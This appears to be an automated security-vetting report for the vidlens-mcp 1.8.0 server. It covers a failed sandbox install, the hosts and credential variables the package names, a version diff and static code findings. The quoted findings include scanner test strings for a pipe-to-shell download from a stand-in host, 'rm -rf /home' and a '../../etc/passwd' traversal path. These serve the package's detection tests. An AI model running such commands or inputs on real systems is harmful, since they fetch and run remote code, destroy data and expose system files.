vidlens-mcp@1.8.0
VERIFIED· not startedPublisher claims: "Turn a public video into an evidence table an LLM can read: timecoded transcript, sampling sheets and AudioSet sound events, downloading only the bytes it needs." Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Coverage
Not started: dependency install failed; the server itself was not observed.- Tested
- the dependency install step · every file read, file written and host contacted by what ran
- Not tested
- server startup · the tool list · tool behavior
What this means for the label: Verified here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.
Before you give it your token
- It will ask for
VIDLENS_SENSEVOICE_TOKENSConfiguration, not credentials: HF_HUB_CACHE, VIDLENS_ASR, VIDLENS_BIN, VIDLENS_COOKIES, VIDLENS_COOKIES_FROM_BROWSER, VIDLENS_INLINE_IMAGES, VIDLENS_LOCK_TIMEOUT, VIDLENS_MODEL_AUTO_DOWNLOAD, VIDLENS_MODEL_DIR, VIDLENS_MODEL_ROOT, VIDLENS_OCR_AUTO_INSTALL, VIDLENS_OCR_TARGET, VIDLENS_OUT, VIDLENS_SENSEVOICE_MODEL, VIDLENS_TAGGING_DIR, VIDLENS_TAGGING_LABELS, VIDLENS_TAGGING_MODEL, VIDLENS_TOOL_PREFIX, VIDLENS_WHISPER_MODEL- Where it talks to
- no vendor host named in the codeAlso hf-mirror.com, bilibili.com, huggingface.co, douyin.com — not the publisher's domain; check what for before connecting.
- What we saw when it ran
- no credential files read · no network
- What we could not test
- server startup · the tool list · tool behavior
Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names hf-mirror.com, bilibili.com, huggingface.co, douyin.com as well as its own vendor. The guard injects VIDLENS_SENSEVOICE_TOKENS only into requests to the host you bind (and its subdomains) and refuses the rest.
Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.
What changed since 1.7.0
vet-skills diff vidlens-mcp 1.7.0 1.8.0This version reaches for something 1.7.0 did not: 4 new hosts (bilibili.com, douyin.com, hf-mirror.com, huggingface.co) · 1 new credential variable (VIDLENS_SENSEVOICE_TOKENS). Compared from the two recorded runs, not from source.
- New hosts
- bilibili.com, douyin.com, hf-mirror.com, huggingface.co
- New credential variables
- VIDLENS_SENSEVOICE_TOKENS
1.7.0 was not run in the sandbox (install failed); the comparison covers what static analysis recorded only.
The guard can hold an update like this until someone approves it (runtime.on_change: hold). A change that only shows with a real credential, or on a path the run did not reach, is not in a trace and so not in this comparison.
Is [email protected] safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-20 and scored it 85/100 (Verified). In what ran, nothing we could detect went wrong: no undeclared network egress, no credential reads, no persistent instruction writes. What it does with a real credential was not observed; the static findings and the publisher carry the rest of the score. Summary: no network, touches nothing outside the project, writes no memory.
Behavior trace
Honeypot run · 0 s · 2 scenarios · 0 deviationsStatic findings
subprocess.run(cmd, capture_output=True, timeout=180)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.child = subprocess.Popen(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.p = subprocess.run(cmd, capture_output=True, text=True, encoding="utf-8",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.self.assertTrue(any(x["kind"] == "shell_command" for x in S.scan("curl http://x.io/a.sh | sh")))Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.proc = subprocess.run(cmd, capture_output=True, text=True,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.subprocess.run([ff, "-hide_banner", "-loglevel", "error", "-framerate", "1",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.p = subprocess.run(cmd, capture_output=True, text=True, encoding="utf-8",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.out = subprocess.run([sys.executable, "-c", code], capture_output=True, text=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.subprocess.run(cmd, check=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.r = subprocess.run([ff, "-hide_banner", "-loglevel", "error", "-ss", f"{t:.3f}",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.subprocess.run([ff, "-hide_banner", "-loglevel", "error", "-f", "lavfi",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.p = subprocess.run(cmd, capture_output=True, text=True,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.p = M._watch_path(Path("out") / "BV1", "../../etc/passwd")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.self.assertTrue(any(x["kind"] == "shell_command" for x in S.scan("curl http://x.io/a.sh | sh")))Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.except Exception: # one bad frame must not kill the batchFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell."are you alive?" would kill the download it was asking about.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.self.assertTrue(any(x["kind"] == "shell_command" for x in S.scan("rm -rf /home")))Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.Cost to the agent
Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.
Known vulnerabilities
Not checked against OSV yet; the weekly check has not reached this version.